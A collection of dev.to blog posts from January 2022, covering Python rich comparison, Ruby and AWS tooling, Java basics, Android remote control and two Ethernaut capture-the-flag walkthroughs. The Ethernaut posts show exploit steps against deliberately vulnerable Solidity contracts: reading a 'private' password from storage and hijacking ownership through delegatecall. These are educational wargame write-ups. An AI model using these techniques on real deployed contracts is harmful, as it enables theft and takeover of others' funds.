teleren/devto huggingface dataset:
Comparando objetos no Python
Tags: python, beginners
Published: 2022-01-21 19:23:30

Por padrão os tipos primitivos (inteiro, string ...) no Python já têm implementado nativamente suas próprias maneiras de se comparar e no caso do inteiro e da string o que se compara são seus valores. Porém, ao tentar comparar objetos de classes criadas em nosso código utilizando o operador `==` ele não funciona como queremos. Isso porque o Python não sabe como deve comparar os objetos de tipo que declaramos no código quando utilizamos o operador `==` .

Suponha que temos em nosso código duas instâncias da classe Produto e queremos verificar se elas são iguais.

Exemplo:

![Classe Produto](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y6zlr5hd56c1r81tgc4d.png)
 

Ao usarmos `==` o retorno será `False` pois ele irá checar se as varáveis em comparação apontam para o mesmo objeto na memória. 

### Rich comparison

No Python temos como implementar algo similar ao `equals()` do Java, utilizando rich comparison podemos definir os seguintes métodos de comparação em uma classe:

- `__eq__()`, chamado pelo operador `==`
- `__ne__()`, chamado pelo operador `!=`
- `__gt__()`, chamado pelo operador `>`
- `__lt__()`, chamado pelo operador `<`
- `__ge__()`, chamado pelo operador `>=`
- `__le__()`, chamado pelo operador `<=`

Para resolvermos nosso problema de comparação iremos utilizar o método `__eq__()`. Vamos utilizar a propriedade 'nome' da classe para fazer a comparação.

Exemplo:

![Classe Produto com __eq__()](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nur603bxxibd09dydi6m.png)
 

Agora ao usarmos `==` o retorno será `True` e não teremos problemas com comparações entre objetos que nós mesmos implementamos no Python!
How-to integrate debug gem in VS Code - debugger by Ruby core team
Tags: ruby, rails, vscode, tooling
Published: 2022-01-21 19:02:24

Few days ago I found at Github very interesting repo by Ruby core team - [ruby/debug: Debugging functionality for Ruby](https://github.com/ruby/debug). I used it in my pet-project, and it works awesome! Also I found out that it is included in Rails 7 app template by default. So I think this debugger is really strong opponent to `rebornix.ruby` extension and debugger which dont have new releases from 2021.

Contents below is short guide how to setup it fast.

## Requirements
- Ruby installed through .rbenv or asdf
- Bundler gem
- VS Code

## Setup Guide
1. Create `.ruby-version` file in root of project if it not already exists.
```
$ echo "3.0.2" > .ruby-version
```
2. Append to `Gemfile`
```ruby
group :development, :test do
  gem "debug", platforms: %i[ mri mingw x64_mingw ]
end
```
3. Run in terminal
```
$ bundler binstubs debug bundler
```
4. Install [extension](https://marketplace.visualstudio.com/items?itemName=KoichiSasada.vscode-rdbg)

5. Copy to `.vscode/launch.json`
```json
{
    "version": "0.2.0",
    "configurations": [
      {
        "name": "Start rails server",
        "type": "rdbg",
        "request": "launch",
        "cwd": "${workspaceFolder}",
        "command": "",
        "script": "${workspaceFolder}/bin/rails",
        "useBundler": true,
        "pathToBundler": "${workspaceFolder}/bin/bundle",
        "rdbgPath": "${workspaceFolder}/bin/rdbg",
        "args": ["s"],
      }
    ]
  }
```
Thats all! Open `Run & Debug` panel & start debugging!


---
If you want to boost your VS Code editor for Ruby, you can also check my guide - [Complete Guide to setup VS Code for Ruby on Rails (Debugger, Linter, Completion, Formatting)](https://dev.to/abstractart/easy-way-to-setup-debugger-and-autocomplete-for-ruby-in-visual-studio-code-2gcc)

Thank you for reading, I hope  this article was helpful for you!
AWS CDK with SSO Profiles
Tags: aws, cdk, sso
Published: 2022-01-21 18:01:51

My new project is following the [AWS Best Practices For Organizations](https://aws.amazon.com/blogs/mt/best-practices-for-organizational-units-with-aws-organizations/) and we have spun up over a dozen child accounts for different workloads and so far it's been pretty awesome. 

All of our infrastructure is built using [AWS Cloud Development Kit (CDK)](https://aws.amazon.com/cdk/) which is also awesome! No need to write CloudFormation when you can write TypeScript! 

We tied [AWS SSO](https://aws.amazon.com/single-sign-on/) to our user directory, established groups with access to different workload accounts. Then we quickly found that [CDK and SSO don't play well together](https://github.com/aws/aws-cdk/issues/5455). 

[Manually updating named profiles](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html#sso-configure-profile-manual) for every child account and syncing tokens seemed like a real pain, so we started to automate it! Step one, we needed to create SSO profiles for each account in the `.aws\config` file:

```typescript
const fs = require("fs");
const accounts = [
  {name: "account1ProfileName", account: 1234567890},
  {name: "account9ProfileName", account: 0987654321}
]

let output = "";
accounts.forEach((a) => {
  const name = a.name;
  console.log(name);
  output += `
[profile ${name}]
sso_start_url = https://your_sso_domain.awsapps.com/start
sso_region = us-east-1
sso_account_id = ${a.account}
sso_role_name = AdministratorAccess
region = us-east-2\n`;
});

const filepath = `${process.env.USERPROFILE}\\.aws\\config`;
fs.writeFile(filepath, output, (err: any) => {
  if (err) return console.error(err);
  console.log("\nConfig file updated!");
});

```

The above creates all the profiles for us and updates them into the `.aws\config` file. Now to solve the CDK SSO issue, we pulled in [cdk-sso-sync](https://www.npmjs.com/package/cdk-sso-sync) and added a npm script: `"sync": "cdk-sso-sync"`

Now to we just run these two commands and we can use CDK with SSO!

```bash
aws sso login --profile account1ProfileName
npm run sync --profile account1ProfileName
```
Ethernaut Hacks Level 8: Vault
Tags: solidity, ethereum, openzeppelin, smartcontract
Published: 2022-01-21 17:36:59

This is the level 8 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.

## Pre-requisites
- [Layout of state variables](https://docs.soliditylang.org/en/v0.8.10/internals/layout_in_storage.html) in Solidity
- [Reading storage](https://web3js.readthedocs.io/en/v1.5.2/web3-eth.html#getstorageat) at a slot in contract

## Hack

Given contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
```

`player` has to set `locked` to false.

Only way is by calling `unlock` by correct password.

Although `password` state variable is private, one can still read a storage variable by determining it's storage slot. Therefore sensitive information should not be stored on-chain, even if it is specified `private`.

Above, the `password` is at a storage slot of 1 in `Vault`.

Let's read it:

```javascript
password = await web3.eth.getStorageAt(contract.address, 1)
```

Call `unlock` with `password`:

```javascript
await contract.unlock()
```

Unlocked. Verify by:

```javascript
await contract.locked() === false
```

And that's it.

_Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄

_and following me on twitter [here](https://twitter.com/heyNvN)_ 🙏
OpenPGP proof
Published: 2022-01-21 17:33:49

This is an OpenPGP proof that connects [my OpenPGP key](https://keyoxide.org/deed4ff4a4afc4ba5a0f9cd2a644794c12673a96) to [this Github account](https://github.com/danielphan2003). For details check out https://keyoxide.org/guides/openpgp-proofs

[Verifying my OpenPGP key: openpgp4fpr:deed4ff4a4afc4ba5a0f9cd2a644794c12673a96]
Day 13 of 100 - Java: Basic programs
Published: 2022-01-21 17:32:12

11:00 PM, I started a 25 min timer. Lazily started reading some basic Java examples.

Create an Immutable class

```java
final class Immutable {
  private String name;
  private String number;

  ...
}
```

ASCII value of a character

```java
char ch = 'b';
int ascii = ch;
```

Number is odd or even

```java
if (num % 2 == 0)
  //even
else
  // odd
```

Factorial of a number

```java
int number = 10;
long factorial = 1;
for (int i = 1; i <= num; ++i) {
  factorial *= i;
}
```

Display alphabets

```java
char c;
for (c = 'A'; c <= 'Z'; ++c)
  System.out.print(c + " ");
```

Check for prime numbers

```java
int number = 29;
boolean flag = false;

for (int i = 2; i <= number / 2; ++i) {
  if (num % i == 0) {
    flag = true;
    break;
  }
}
```

GCD using recursion

```java
public static void main(String[] args) {
  int num1 = 366, num2 = 60;
  int hcf = hcf(num1, num2);
}

public static int hcf (int num1, int num2) {
  if (num2 != 0)
    return hcf(num2, num1 % num2);
  else
    return num1;
}
```

Write a number as sum of two primes

```java
int number = 34;
boolean flag = false;

for (int i = 2; i <= number / 2; ++i) {
  if (checkPrime(i)) {
    if (checkPrime(number -i)) {
      flag = true;
    }
  }
}


static boolean checkPrime(int number) {
  boolean isPrime = true;
  
  for (int i = 2; i <= number / 2; ++i) {
    if (num % i == 0) {
      isprime = false;
      break;
    }
  }
  return isPrime;
}
```
Ethernaut Hacks Level 6: Delegation
Tags: solidity, ethereum, openzeppelin, smartcontract
Published: 2022-01-21 17:29:48


This is the level 6 of [Ethernaut](https://ethernaut.openzeppelin.com/) game.

## Pre-requisites
- [delegatecall](https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how) in Solidity

## Hack

Given contracts:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
```

`player` has to claim ownership of provided instance of `Delegation` contract.

A simple one if you clearly understand how `delegatecall` works, which is being used in `fallback` method of `Delegation`.

We just have to send function signature of `pwn` method of `Delegate` as `msg.data` to `fallback` so that _code_ of `Delegate` is executed in the context of `Delegation`. That changes the ownership of `Delegation`.

So, first get encoded function signature of `pwn`, in console:

```javascript
signature = web3.eth.abi.encodeFunctionSignature("pwn()")
```

Then we send a transaction with `signature` as data, so that `fallback` gets called:

```javascript
await contract.sendTransaction({ from: player, data: signature })
```

After transaction is successfully mined `player` is the `owner` of `Delegation`. Verify by:

```javascript
await contract.owner() === player

// Output: true
```

That's it.

_Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄

_and following me on twitter [here](https://twitter.com/heyNvN)_ 🙏
What was your win this week?
Tags: discuss, weeklyretro
Published: 2022-01-21 17:20:48

---
title: What was your win this week?
published: true
description: Got to all your meetings on time? Started a new project? Fixed a tricky bug?
tags: discuss, weeklyretro
cover_image: https://cl.ly/188e843c2985/download/Image%202019-02-15%20at%202.36.37%20PM.png
---

Hey there! 


Looking back on this past week, what was something you were proud of accomplishing?

All wins count — big or small 🎉

Examples of 'wins' include:

- Starting a new project
- Fixing a tricky bug
- Trying out a new recipe ... or whatever else might spark joy ❤️ 

---

Congrats on all you've accomplished this past week!

![Pokémon happy dance](https://media.giphy.com/media/vv8R20yaYZIKk/giphy.gif)
Develop a Twitter clone with ReactJS
Tags: webdev, javascript, node, 100daysofcode
Published: 2022-01-21 17:17:25

I have developed a small social network web app for educational purpose and want to share this with the community. This app is built with ReactJS for frontend, Java Spring Boot for backend and MongoDB as the database.

The app tries to mimic a few functions of Twitter, including:

- Create post with text and image
- The number of characters in each post is limited to 200 characters
- Like, comment and re-post a post
- View the number of likes, comments and shares of a post
- Comments are toggle
- The number of character in each comment is limited to 100 characters
- Follow, un-follow someone
- See who are following us and follow them back
- Check who we are following
- View all posts of an individual
- View our own posts
- List all user accounts in the entire social network (due to the number of users are still small, I did not develop search user function)

Other functions:

- Due to limited storage space, client app compresses the uploaded image to the maximum of 250px (width or height) User avatar is created by hashing user id and convert that hash code into a hexagonal image
- Authentication and authorization use JWT
- Responsive frontend for desktop and mobile devices

Technical stack:

- Frontend: ReactJS, Redux Toolkit, React Router, React Bootstrap
- Backend: Java Spring Boot
- Database: MongoDB

Please give me a ⭐ Github star ⭐ for my effort if you think this project is useful for you!

Live Demo and Source Code:

https://github.com/linhtch90/psn-social-network-public-source
You decide the topic and I will write about it for you😇💜
Tags: tutorial, programming, beginners, discuss
Published: 2022-01-21 17:14:55

I am writing a new tutorial , but this time you will decide the topic 😉 .

Let me know in the comment section below and most important repeated topics will be chosen for me to write about . It can be something difficult you don't understand or any knowledge you want to refresh. 

Follow me to see the topics you chose and thanks for reading.
For all my followers : you are amazing and supportive. I love u all. 💜
Top 10 Markdown alternatives
Tags: tooling, guide, beginners, markdown
Published: 2022-01-21 17:13:06

Markdown is described as 'text-to-HTML conversion tool for web writers. Markdown allows you to write using an easy-to-read, easy-to-write plain text format, then convert it to structurally valid XHTML (or HTML)' and is a very popular app in the Development category. There are more than 50 alternatives to Markdown for a variety of platforms, including Mac, Windows, Linux, Online / Web-based and iPhone. 
#Best Alternative : `Joplin`
|1|**Joplin**
Short Summary:
_Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. The notes are searchable, can be copied, tagged and modified either from the applications directly or from your own text editor._
|2|**Typora**
Short Summary:

_Typora will give you a seamless experience as both a reader and a writer. It removes the preview window, mode switcher, syntax symbols of markdown source code, and all other unnecessary distractions._
|3|**Zettler**
Short Summary:

_Zettlr is a supercharged markdown editor that combines many writing editor features and collect them in one application. It aims at speeding up your workflow and help you write without any interruptions._
|4|**Mark Text**
Short Summary:
_Mark Text is a Markdown editor for Mac, Windows and Linux. It is a concise text editor, dedicated to improving your editing efficiency._

|5|**ghost writer**
Short Summary:
_No excuses. No distractions. Just write. ghostwriter is a feature-rich text editor using Markdown syntax which makes it suitable for note-taking, document redaction, simple HTML website creation and much more._

|6|**Haroopad** [DISCONTINUED]
Short Summary: 
_Haroopad is a markdown enabled document processor for creating web-friendly documents. You can author various formats of documents such as blog article, slide, presentation, report, and e-mail as if experts did._

|7|**InkDrop**
Short Summary:
_The note-taking app with robust Markdown editor, supporting macOS, Windows, and Linux. This app is designed to be the most convenient way to make notes in Markdown for your daily hacking._

|8|**Ginko**
Short Summary:
_Write and organize your ideas in Gingko tree documents. Whether building a business or writing a bestseller, Gingko lets your ideas flow naturally into place. Write, brainstorm, and organize your document, all in the same flow._

|9|**ReText**
Short Summary:
_ReText is a simple text editor for Markdown and reStructuredText documents with syntax highlighting and optional live preview. It is written in Python using Qt libraries, able to run on any platforms (Linux and BSD are officially supported)._

|10|**Abricotine**
Short Summary:
_Abricotine is an open-source markdown editor for desktop. In Abricotine, you can preview your document directly in the text editor rather than in a side pane._
So, you want to control your android from your linux desktop?
Tags: linux, android, remote, management
Published: 2022-01-21 17:03:53


I'm usually in front of a Linux desktop computer but I'm using an Android tablet to listen to some music and so on. The problem is that when you want to switch applications of select another web, or video, you have to go to the tablet, and touch it; this is not very comfortable when you have your hands (and eyes) in the computer.
There are some solutions for remote desktop management. See, for example, [How to remote control one Android device with another](https://www.androidauthority.com/how-to-remote-control-android-device-41969/), but they look a bit complicated for me and (did't check all) they do not have Linux clients.

![Writing this post while seeing the tablet with a YouTube video](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3zui7kv4jv5sci6uxt6f.png)

Fortunately I discovered [Display and control your Android device from Linux desktop](https://cialu.net/display-and-control-your-android-device-from-linux-desktop/) where you can learn about [scrcpy](https://github.com/Genymobile/scrcpy) which helps to solve the problem:

> This application provides display and control of Android devices connected via USB (or over TCP/IP). It does not require any root access. It works on GNU/Linux, Windows and macOS.

You can install it (in my Fedora): 

    $ sudo dnf copr enable zeno/scrcpy

    $ sudo dnf install scrcpy 

Then, you need [Enabling Device Owner Mode using Android Debug Bridge (ADB)](https://documentation.meraki.com/SM/Device_Enrollment/Enabling_Device_Owner_Mode_using_Android_Debug_Bridge_(ADB)).

* Go to Settings
* Go to “About device” (Might be named slightly different)
* Click the “Build number” field 7 times. This will turn on “Developer options”
* Go back to Settings
* Go to “Developer options”
* Scroll down and enable “USB debugging”

Then you can connect to the devide via an USB cable or (my preferred option), via TCP/IP. In this case, you can follow: [Connect to a device over Wi-Fi (Android 10 and lower)](https://developer.android.com/studio/command-line/adb.html#wireless).
First you'll need to connect via USB and type:

    adb tcpip 5555

Secondly, you'll need to know your IP: Settings > About tablet (or About phone) > Status > IP address. Or, on a Wear OS device, you can find the IP address at Settings > Wi-Fi Settings > Advanced > IP address. 

Finally, you'll connect to the android device:

    adb connect device_ip_address:5555

And lauch the program:

    scrcpy

The only limitation I can see is when the tablet goes to sleep mode for energy saving, you need to touch it again in order to recover control from your computer.

Hope this helps. Next step, controlling the tablet from the command line? :-)
Some Online Coding Games to Build Your Programming Skills
Published: 2022-01-21 17:02:56

###Programming
- [CLI/ Shell/ Terminal Commands](https://web.mit.edu/mprat/Public/web/Terminus/Web/main.html)
- [learn VIM](https://vim-adventures.com/)
- [small programming puzzles](https://adventofcode.com)
- [improve programming skills](https://www.codingame.com)
- [python](http://www.pythonchallenge.com/)
- [python & typescript](https://checkio.org/)
- [javascript - move an elevator](https://play.elevatorsaga.com/)
- [javascript - spacestation](https://neoan.us/game/)
- [javascript again :)](https://alexnisnevich.github.io/untrusted/)
- [javascript - also available on Steam](https://screeps.com/)
- [CSS Flexbox](http://www.flexboxdefense.com/)
- [CSS Flexbox II](https://flexboxfroggy.com/)
- [CSS challenges](https://css-challenges.com/)
- [CSS Gridlayout](https://cssgridgarden.com)
- [CSS Selectors] (http://flukeout.github.io)
- [CSS 3D Transformers] (https://rupl.github.io/unfold)
- [CSS Flexboxzombies](https://flexboxzombies.com/p/flexbox-zombies)
- [HTML/ CSS](https://cssbattle.dev/)
- [WebDev, APP Development, Game Development](https://codecombat.com/)
- [java & .NET](https://robocode.sourceforge.io/)
- [Ruby](https://github.com/ryanb/ruby-warrior)
- [7 Billion Humans Programming-Game on Steam](https://store.steampowered.com/app/792100/7_Billion_Humans/)
- [Halite - write bots in all languages](https://halite.io/)
- [Terminal - same as Halite, write code to compete](https://terminal.c1games.com/)
- Steam Games of Zachtronics: [EXAPUNKS for assembly](https://store.steampowered.com/app/716490/EXAPUNKS/), [SHENZHEN I/O for electronic curcits](https://store.steampowered.com/app/504210/SHENZHEN_IO/) or [rewrite corrupted code segments in TIS-100 ](https://store.steampowered.com/app/370360/TIS100/)
- [Solving Problems in Projekt Euler](https://projecteuler.net/)
- [solve puzzles in codewars](https://www.codewars.com/)
- [Solving Puzzles in Baba is you on Steam](https://store.steampowered.com/app/736260/Baba_Is_You/)
- [Learn to code with TwilioQuest](https://www.twilio.com/quest)
- [learning Java with setting up a minecraft Server](https://minecraft.fandom.com/wiki/Tutorials/Setting_up_a_server)
- [learning Design](https://cantunsee.space/)
- [learn about Service Workers](https://serviceworkies.com/)

###for Kids
- [Codemonkey](https://www.codemonkey.com/)
- [HTML, CSS, Javascript](https://www.codemoji.com)


###Security
- [CTF and others](https://www.hackthissite.org/)